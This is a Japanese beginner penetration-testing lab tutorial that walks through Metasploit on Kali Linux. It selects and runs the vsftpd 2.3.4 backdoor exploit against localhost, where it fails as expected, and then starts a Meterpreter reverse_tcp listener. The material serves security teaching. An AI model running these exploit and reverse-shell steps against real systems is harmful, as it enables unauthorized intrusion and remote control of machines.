はじめに
この実験では、LabEx VM 内の制御された環境で、Kali Linux を使用したペネトレーションテストの基礎を学びます。強力な Metasploit Framework を活用して、脆弱性の特定、ペイロードの設定、エクスプロイトの実行、そして Meterpreter セッションを通じた侵害システムへの対話操作に焦点を当てます。初心者向けに設計されたこの実験では、安全かつ体系的な方法で、サイバーセキュリティの重要な技術をステップバイステップでガイドします。ターミナルを開くと、自動的に Kali Linux コンテナのシェルに接続されるため、手動でコンテナを起動したりログインしたりする必要はありません。
Metasploit Framework の起動
最初のステップでは、Kali Linux におけるペネトレーションテストの主要ツールである Metasploit Framework を起動します。このステップは、後の手順で脆弱性を特定し攻撃するための環境を整える上で不可欠です。
LabEx VM でターミナルを開くと、自動的に Kali Linux コンテナのシェルに接続されます。コンテナを手動で起動したりシェルに入ったりする必要はなく、環境はすでに設定済みです。
Metasploit を使用する前に、Kali Linux コンテナにインストールされていることを確認する必要があります。まず、ターミナルで以下のコマンドを入力し、Enter キーを押してパッケージリストを更新します。
apt update
次に、Metasploit Framework をインストールします。インストールには数分かかる場合がありますので、完了するまでお待ちください。
apt install -y metasploit-framework
インストールが完了したら、以下のコマンドを入力し、Enter キーを押して Metasploit コンソールを起動します。
msfconsole
このコマンドを初めて実行する場合、データベースのセットアップやモジュールの読み込みが行われるため、初期化に少し時間がかかることがあります。Metasploit が起動すると、ASCII アートのバナーと以下のようなプロンプトが表示されます。
Metasploit Framework
...
msf6 >
msf6 > プロンプトは、Metasploit コンソールに入り、フレームワークを操作できる状態であることを示しています。次のステップでエクスプロイトの検索と選択を行うため、コンソールは閉じないでください。
エクスプロイトの検索と選択
Metasploit Framework を起動したら、次はエクスプロイトを検索して選択します。エクスプロイトとは、ソフトウェアの脆弱性を利用して、不正アクセスなどの意図しない動作を引き起こすコードのことです。
すでに Metasploit コンソール(msf6 > プロンプト)にいる状態ですので、脆弱性が存在しがちな一般的なサービスである FTP (File Transfer Protocol) に関連するエクスプロイトを検索してみましょう。以下のコマンドを入力し、Enter キーを押します。
search ftp
このコマンドは、FTP に関連するエクスプロイトや補助モジュールを一覧表示します。出力には、一致するモジュールのテーブルが表示されます。
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
2 auxiliary/scanner/ftp/anonymous normal No FTP Anonymous Access Scanner
...
今回の実験では、vsftpd_234_backdoor エクスプロイトを使用します。これを選択するには、use コマンドの後にエクスプロイト名を入力します。
use exploit/unix/ftp/vsftpd_234_backdoor
エクスプロイトを選択すると、プロンプトがエクスプロイト名を含む形式に変わり、現在アクティブなモジュールであることが示されます。
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
選択したエクスプロイトの詳細情報(オプションや要件など)を確認するには、info コマンドを入力します。
info
出力には、プラットフォーム、アーキテクチャ、利用可能なターゲットなどの詳細が表示されます。
Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03
これでエクスプロイトの選択が完了しました。次のステップでは、このエクスプロイト用のペイロードを設定します。
注意: Labby は msf シェル内の操作記録を取得できないため、以下のステップは検証されません。
エクスプロイトとペイロードの設定
エクスプロイトを選択したら、オプションを設定し、ペイロードの動作を確認する必要があります。ペイロードとは、エクスプロイトが成功した後にターゲットシステム上で実行されるコードのことです。現在の Metasploit のビルドでは、このモジュールはデフォルトの動作で実行されることが多く、手動でのペイロード選択を受け付けない場合があります。
重要: ペイロードを設定する前に、選択したエクスプロイトと互換性のあるペイロードを確認することが重要です。以下のコマンドを使用して、互換性のあるすべてのペイロードを表示します。
show payloads
このコマンドは vsftpd_234_backdoor と互換性のあるペイロードを表示します。Metasploit のバージョンによっては cmd/unix/interact が表示されますが、表示されない場合や無効と見なされる場合もあります。
set payload cmd/unix/interact
もしこのコマンドで The value specified is not valid のようなエラーが返された場合は、ペイロードを設定せずにモジュールのデフォルト設定のまま進めてください。
次に、エクスプロイトのオプションを設定する必要があります。RHOST (Remote Host) オプションは、ターゲットマシンの IP アドレスを指定します。このシミュレーションでは、127.0.0.1 に設定します。
set RHOST 127.0.0.1
重要な注意: このエクスプロイトのワークフローでは、エクスプロイトを実行する前に LHOST や LPORT を設定する必要はありません。
すべての設定を確認するには、show options コマンドを使用します。
show options
これにより、エクスプロイトのオプションテーブルが表示されます。RHOST が正しく設定されていることを確認してください。
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
これでエクスプロイトとペイロードの設定が完了し、次のステップで実行する準備が整いました。
エクスプロイトの実行
エクスプロイトとペイロードの設定が完了したので、いよいよ実行します。exploit コマンドは、指定されたターゲット (RHOST) に対して攻撃を開始するよう Metasploit に指示します。
Metasploit コンソールで、以下のコマンドを入力し、Enter キーを押します。
exploit
Metasploit がエクスプロイトの実行を試みます。この実験環境では 127.0.0.1 上で実際に脆弱な VSFTPD サービスが動作しているわけではないため、エクスプロイトは失敗します。これは想定通りの動作であり、攻撃を開始するプロセスを実演するためのものです。
出力には、Metasploit がターゲットの FTP サービスへの接続を試みたものの、サービスが動作していないために失敗したことが表示されます。
[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.
注意: このエクスプロイトのワークフローでは、事前にリバースシェルリスナーを起動しておく必要はありません。もしターゲットが脆弱で到達可能であれば、Metasploit は対話型のコマンドセッションを開こうとします。
Exploit completed, but no session was created というメッセージは、失敗したことを確認するものです。脆弱な VSFTPD サービスが存在する成功シナリオであれば、ここで対話型のコマンドシェルセッションが確立され、ターゲットシステム上で直接コマンドを実行できるようになります。このステップでは、ペネトレーションテストのワークフローの核心である、エクスプロイトを開始するための基本的なコマンドを学びました。
Meterpreter リスナーのセットアップ
最後のステップでは、Meterpreter ペイロード用のリスナーをセットアップする方法を学びます。Meterpreter は、ターゲットシステム上で対話型シェルを提供する、高度で機能豊富なペイロードです。エクスプロイトを起動する代わりに、exploit/multi/handler モジュールを使用して、着信接続を待ち受けます。これは、他の手段(悪意のあるファイルなど)を通じてエクスプロイトが配信され、リバース接続をキャッチする必要がある場合に役立ちます。
まず、multi/handler モジュールに切り替えます。
use exploit/multi/handler
プロンプトが新しいモジュールを反映したものに変わります。
msf6 exploit(multi/handler) >
次に、Meterpreter ペイロードを設定します。Linux システム用に設計されたものを使用します。ペイロード名 linux/x86/meterpreter/reverse_tcp は、<プラットフォーム>/<アーキテクチャ>/<タイプ>/<プロトコル> という論理構造に従っています。これは、Linux プラットフォーム、x86 アーキテクチャ、Meterpreter ペイロードタイプ、およびリバース TCP 接続プロトコルを指定しています。
set payload linux/x86/meterpreter/reverse_tcp
次に、先ほどと同様にリスナーオプションの LHOST と LPORT を設定します。
set LHOST 127.0.0.1
注意: ループバックアドレスへのバインドに関する警告メッセージが表示される場合があります。これは localhost (127.0.0.1) を使用している場合には正常であり、この実験では無視して問題ありません。
set LPORT 4444
最後に、exploit コマンドを使用してリスナーを開始します。
exploit
Metasploit は指定された IP とポートでリスナーを開始し、Meterpreter セッションからの接続を待ち受けます。
[*] Started reverse TCP handler on 127.0.0.1:4444
コンソールはアクティブなまま、接続を待ち続けます。実際のシナリオでは、ターゲットマシンが対応する Meterpreter ペイロードを実行すれば、ここでセッションが確立されます。この実験では接続するターゲットがないため、Ctrl + C を押してリスナーを停止できます。
Metasploit コンソールを終了するには、exit と入力し、Enter キーを押します。
まとめ
この実験では、Kali Linux と Metasploit Framework を使用したペネトレーションテストの基本的な手順を学びました。Metasploit の起動から始まり、エクスプロイトの検索と選択、ペイロードの互換性の確認、エクスプロイトオプションの設定、そしてシミュレーション環境での攻撃実行までを体験しました。また、高度な Meterpreter ペイロードのためにスタンドアロンのリスナーをセットアップする方法も学びました。これらのステップは、脆弱性の特定、ペイロードの準備、そして攻撃プロセスの理解という、ペネトレーションテストの核心的なワークフローへの実践的な入門となります。この体系的なアプローチを通じて、重要なサイバーセキュリティツールと技術の実践的な経験を積むことができました。


